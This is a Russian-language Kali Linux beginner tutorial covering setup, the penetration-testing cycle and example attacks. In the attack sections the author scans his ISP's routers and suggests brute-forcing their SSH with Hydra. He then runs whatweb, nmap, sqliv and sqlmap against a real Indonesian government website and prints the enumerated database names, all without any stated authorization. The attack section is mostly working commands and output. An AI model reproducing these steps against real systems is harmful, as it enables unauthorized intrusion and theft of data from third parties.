Если вы разбираетесь или хотя бы знакомы с Linux, командами и окружением, только что установили Kali Linux на свою машину, хотите стать мастером Kali Linux или этическим хакером, то вы попали по адресу. В этой статье я расскажу об учебном пособии по Kali Linux для пользователей Linux, не знакомых с Kali, и ознакомлю вас с некоторыми базовыми техниками, используемыми для взлома и тестирования безопасности при использовании Kali.
Что такое Kali Linux?
Kali Linux (первый релиз состоялся 13 марта 2013 г.), ранее известный как BackTrack, разработанный компанией Offensive Security, представляет собой дистрибутив, ориентированный на криминалистику и безопасность и основанный на ветви Debian Testing. Kali Linux разработан с учетом задач тестирования на проникновение, восстановления данных и обнаружения угроз. В начале этого года проект перешел на скользящую модель выпуска, чтобы предоставить пользователям дистрибутива более актуальные утилиты безопасности. Kali Linux бесплатен и всегда будет бесплатным. В состав дистрибутива входит более 600 инструментов для тестирования на проникновение.
Почему именно Kali Linux? Подходит ли он вам?
Kali Linux приобрела большую популярность. И на это есть свои причины. Хакерство снова стало модным в популярной культуре, и в значительной степени это можно объяснить сериалом Mr. Robot. Популярность сериала "Мистер Робот" помогла Kali Linux привлечь новых пользователей. Люди, практически не знакомые с Linux и не имеющие никакого отношения к компьютерной безопасности, теперь стараются использовать Kali в качестве основного дистрибутива Linux.
"Наш самый продвинутый дистрибутив для тестирования на проникновение". - Разработчики Kali Linux. (Это написано на главной странице сайта Kali.org в самом верху страницы.) Что вы поняли из этого заявления? Замечаете ли вы следующее: APTD (Advanced Penetration Testing Distribution)? Здесь нет термина hacking в буквальном смысле. Kali Linux - это то же самое, что и другие дистрибутивы Linux. Проще говоря, это дистрибутив Linux, напичканный инструментами для обеспечения безопасности и ориентированный на специалистов по сетевой и компьютерной безопасности. Однако при использовании Kali Linux основное внимание уделяется только вопросам безопасности и криминалистики.
Дистрибутив Linux - это не что иное, как пакет, содержащий ядро Linux, набор основных утилит и приложений, а также некоторые настройки по умолчанию. Таким образом, Kali Linux не предлагает чего-то уникального в этом смысле, большинство предоставляемых инструментов можно установить на любой дистрибутив Linux.
Kali Linux специально ориентирован на удовлетворение требований профессионального тестирования на проникновение и аудита безопасности. Она ориентирована на определенную группу пользователей Linux. Пентестеры, хакеры и т.д. Этот дистрибутив не рекомендуется использовать, если вы рассчитываете на использование Kali в качестве настольной системы Linux общего назначения для разработки, веб-дизайна, игр, офиса и т.д. Kali может вызвать у вас некоторые затруднения, даже если вы опытный пользователь Linux.
ЧТО ДЕЛАТЬ ПОСЛЕ УСТАНОВКИ KALI LINUX
После установки Kali Linux вы можете задаться вопросом, что же делать дальше? С этой проблемой сталкиваются все, не волнуйтесь.
ШАГ 1 : НАСТРОЙКА РЕПОЗИТОРИЯ
Во-первых, возможно, вы уже знаете об этом, но очень важно правильно настроить репозиторий. Как я уже говорил, модель скользящего выпуска Kali Linux направлена на то, чтобы предоставить пользователям дистрибутива более актуальные утилиты безопасности. Как правило, если Kali Linux только что установлен, то репозиторий ссылается на носитель, который используется для установки. Чтобы исправить это, необходимо изменить репозиторий на официальный репозиторий Kali Linux. Необходимый файл находится в каталоге /etc/apt/sources.list. Откройте файл с помощью текстового редактора leafpad и замените репозиторий по умолчанию на официальный репозиторий Kali Rolling:
1 2 3 | deb http://http.kali.org/kali kali-rolling main contrib non-free # For source package access, uncomment the following line # deb-src http://http.kali.org/kali kali-rolling main contrib non-free |
ШАГ 2: ОБНОВЛЕНИЕ И МОДЕРНИЗАЦИЯ СИСТЕМЫ KALI LINUX
После обновления и модернизации системы синхронизируйте Kali Linux до последней версии. Для этого откройте терминал и введите:
1 | apt update -y && apt upgrade -y && apt dist-upgrade |
- Команда "apt update" загружает и извлекает из репозиториев информацию о списках пакетов и "обновляет" их, получая информацию о самых новых версиях пакетов и их зависимостях.
- Команда "apt upgrade" загружает и устанавливает более новые версии пакетов установленного Kali Linux, если они не имеют ошибок в зависимостях.
- Команда "apt dist-upgrade" обновит все пакеты до самой новой доступной версии независимо ни от чего. А также устанавливает и удаляет зависимости по мере необходимости (очевидно, устанавливает зависимости, удовлетворяющие пакетам, но также удаляет зависимости, которые стали сиротливыми, если пакету, который был обновлен, больше не нужна зависимость.
БАЗОВАЯ КОНЦЕПЦИЯ ТЕСТИРОВАНИЯ НА ПРОНИКНОВЕНИЕ С ПОМОЩЬЮ KALI LINUX
После успешного выполнения этих шагов в Kali Linux можно выполнить три основные задачи, основанные на целевой системе:
- Взлом беспроводных сетей - взлом Wifi, Phising, ARP Poisoning и т.д.
- Взлом веб-приложений - SQL Injection, Cross-Site Request Forgery (CSRF), Web Phising и т.д.
- Взлом устройств - эксплуатация целевой машины с целью получения контроля над ней.
Я не включаю сюда взлом IoT, но это не значит, что Kali Linux не имеет для этого возможностей. Но в буквальном смысле она может относиться и к Device Hacking. Поскольку устройство имеет физический вид и форму. В этом руководстве я рассказал о них в общих чертах. Поскольку Kali Linux очень большой, он не поместился в одну статью!
Вам также необходимо знать цикл или процедуру тестирования на проникновение. К ним относятся:
- Разведка - сбор информации
- Сканирование
- Эксплуатация
- Постэксплоатация
ВЗЛОМ БЕСПРОВОДНЫХ СЕТЕЙ С ПОМОЩЬЮ KALI LINUX
Что касается взлома беспроводных сетей, то жертва может быть разной. Ведь беспроводные сети состоят из нескольких элементов, таких как провайдер (ISP), маршрутизатор и его "товарищи" (модем, концентратор, коммутатор и т.д.) и клиенты (пользователи, системы видеонаблюдения, удаленный компьютер и т.д.). Они также обладают уязвимыми возможностями.
Интернет представляет собой большую и сложную совокупность сетевого оборудования, соединенного между собой шлюзами. Отслеживание маршрута, по которому идут пакеты, важно для того, чтобы знать, как добраться до определенного имени хоста или целевого IP-адреса.
В Kali Linux есть встроенный инструмент Traceroute. Traceroute использует поле "время жизни" IP-протокола и пытается получить ответ ICMP TIME_EXCEEDED от каждого шлюза на пути к некоторому хосту. Traceroute пытается проследить маршрут IP-пакета до некоторого узла в Интернете, запуская зондирующие пакеты с небольшим TTL (time to live), а затем прослушивая ответ ICMP "время превышено" от шлюза. Я приведу пример, как с помощью Traceroute отследить маршрутизатор провайдера, используемый для обработки нашего соединения.
1. Разведка
Сбор информации - это самый важный старт, не пропускайте этот шаг. На этом шаге наша цель - получить как можно больше полезной информации, которая затем будет использована для дальнейших шагов.
Во-первых, откройте терминал и введите эту команду, чтобы начать трассировку "дороги" к сайту, в данном случае я задал сайт google.com.
1 | traceroute google.com |
2. Сканирование
Как только мы запустим команду, она выдаст список последовательности прохождения нашего пакета. Как вы можете видеть выше, у меня есть 3 хопа, один из которых - сервер моего провайдера. Первый IP в списке - это мой маршрутизатор, который работает как шлюз. А следующие два принадлежат моему провайдеру. Теперь давайте проверим, какой сервис на них запущен с помощью Nmap. Итак, цели, которые мы будем сканировать, - 10.152.192.1 и 10.13.223.102. В терминале я выполнил следующую команду:
1 | nmap -v -sS [IP Target] -Pn |
Давайте разберем аргументы команды:
-v = Включить режим многословности
-sS = Использовать технику сканирования TCP SYN
-Pn = рассматривать все узлы как онлайн - пропустить обнаружение узла
И вот какой результат мы получили.
К сожалению, все порты на 10.152.192.1 заблокированы, то есть все входящие TCP-соединения блокируются IDS или Firewall на этом IP. Теперь выполним еще одно сканирование второй цели.
3. Эксплуатация
В этой процедуре я не собираюсь проводить реальную эксплуатацию, вместо этого я покажу вам, как это делается. По результатам сканирования Nmap мы знаем, что на этом IP работает SSH-сервер на 22-м порту, и он открыт. Он открыт для брутфорса, хаха! Мы нашли дыру, этот SSH-сервер - возможная дыра, к которой мы можем попытаться получить доступ. В Kali Linux есть несколько инструментов, поддерживающих брутфорс или словарные атаки на протокол SSH. Наиболее популярным и мощным из них является "Hydra".
Итак, это была основная процедура проведения теста на проникновение к целевому серверу, которым в нашем примере является сервер моего провайдера.
ВЗЛОМ ВЕБ-ПРИЛОЖЕНИЙ С ПОМОЩЬЮ KALI LINUX
На самом деле, если вы увлечены этим, то можете создать свою хакерскую среду, установив в Kali Linux приложение DWVA (Damn Vulnerable Web App). Это PHP/MySQL веб-приложение, имеющее множество уязвимых мест. Его основные цели - помочь специалистам по безопасности проверить свои навыки и инструменты в легальной среде, а также помочь веб-разработчикам лучше понять процессы защиты веб-приложений. Получить DWVA бесплатно можно на Github здесь: https://github.com/ethicalhack3r/DVWA.
Сейчас я покажу вам, как можно взломать веб-приложения на реальном сайте. Но обещаю, что это будет только в образовательных целях. Мы смоделируем реальную атаку на реальный сайт с использованием SQL-инъекции.
Предварительные требования:
Описываемые инструменты:
- Whatweb (предустановлен)
- Nmap (предустановлен)
- SQLiv (устанавливается вручную)
- SQLMap (предустановлен)
Нам понадобится еще один дополнительный инструмент, который доступен на Github здесь: https://github.com/Hadesy2k/sqliv, установим его сначала в наш Kali Linux. Это инструмент под названием SQLiv, который способен выполнять целевое сканирование с указанием конкретного домена. Введите в терминале :
1 2 | git clone https://github.com/Hadesy2k/sqliv.git cd sqliv && sudo python2 setup.py -i |
1. Разведка
Соберите как можно больше полезной информации. Мы можем открыть веб-страницу и определить, какое приложение работает на этом сайте. Для начала проверим, что это за сайт. Для этого воспользуемся программой "whatweb".
1 | whatweb www.trenggalekkab.go.id |
Как видно из приведенного выше результата, объект находится в Индонезии. На его веб-сервере установлен Apache v2.2.27, а также PHP v5.4.31, он имеет IP-адрес 103.247.21.142. Примите это к сведению. Возможно, вам придется посетить его веб-страницу и поискать построенный файл или страницу, параметры URL или даже форму входа в систему. Пока же нам нужен этот IP-адрес для следующего шага - сканирования.
2. Сканирование
Как и ранее, мы снова используем Nmap для сканирования портов и служб, работающих на цели.
1 | nmap -v -sS 103.247.21.142 |
И вот какой результат мы получили:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | Completed SYN Stealth Scan at 21:22, 261.93s elapsed (1000 total ports) Nmap scan report for ip-103-247-21-142.wifian.net.id (103.247.21.142) Host is up (0.069s latency). Not shown: 985 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 212/tcp open anet 443/tcp open https 465/tcp open smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s 3128/tcp filtered squid-http 3306/tcp open mysql |
Существует множество открытых портов, которые обслуживают каждый сервис на целевом сайте, но самым "привлекательным" является порт 3306 для сервиса mysql. Это указывает на то, что данный сайт использует mysql для управления своей информацией в базах данных. Тогда я задаюсь вопросом, нет ли на этом сайте уязвимостей SQL Injection. Поэтому я снова просканировал сайт с помощью только что установленного SQLiv. Я набрал команду :
1 | sqliv -t www.trenggalekkab.go.id |
Мы обнаружили 2 возможных SQL-уязвимых URL-адреса на этом сайте. Запишите эти URL.
3. Эксплуатация
Итак, мы получили SQL-уязвимые URL-адреса и готовы к их выполнению. Для этого мы будем использовать SQLMap. Синтаксис следующий:
sqlmap "[Уязвимый URL]" --dbs
Команда должна выглядеть следующим образом:
1 | sqlmap -u "http://www.trenggalekkab.go.id/berita.php?page=208" --dbs |
Аргумент "-dbs" указывает SQLMap на получение целевых баз данных. Вот какой результат мы получили:
1 2 3 4 5 6 7 8 9 10 | [INFO] the back-end DBMS is MySQL web application technology: PHP 5.4.31, Apache 2.2.27 back-end DBMS: MySQL 5 [21:46:04] [INFO] fetching database names [21:46:04] [INFO] the SQL query used returns 2 entries [21:46:04] [INFO] resumed: information_schema [21:46:04] [INFO] resumed: trengkab_trg available databases [2]: [*] information_schema [*] trengkab_trg |
SQLMap обнаружил 2 базы данных, но только одна из них содержит конфиденциальные данные, например, учетную запись администратора. Это база данных "trengkab_trg". После того как мы нашли базы данных, необходимо выполнить еще один шаг. Это поиск таблиц и столбцов, и последний шаг - сброс данных. В этом разделе я не буду показывать, как это сделать, используя данную цель. По крайней мере, вы знаете основную идею цикла атаки и использования некоторых инструментов.